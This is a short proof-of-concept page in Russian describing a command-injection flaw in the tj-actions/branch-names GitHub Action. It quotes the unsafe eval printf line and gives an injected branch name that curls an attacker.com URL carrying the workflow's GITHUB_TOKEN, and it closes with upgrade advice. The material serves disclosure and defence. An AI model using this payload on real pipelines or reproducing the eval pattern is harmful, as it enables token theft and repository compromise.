
PoC для CVE-2025-54416 tj-actions/branch-names внедрение команд
Этот репозиторий демонстрирует CVE-2025-54416, критическую уязвимость внедрения команд в tj-actions/branch-names, затрагивающую более 5 000 публичных репозиториев.
Действие GitHub tj-actions/branch-names (версии ≤ 8.2.1) использует небезопасный eval printf "%s", что после корректной санитизации вновь вводит риски внедрения команд.
# Vulnerable code pattern in tj-actions/branch-names:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
tj-actions/[email protected] для извлечения имени веткиИмя ветки: main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
Когда рабочий процесс запускается:
echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}"
# Actual output: IMAGE_TAG=main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
# The $(...) is evaluated by the shell, exfiltrating GITHUB_TOKEN
Обновитесь до tj-actions/branch-names@v9 или новее, где eval printf "%s" заменен на безопасные вызовы printf.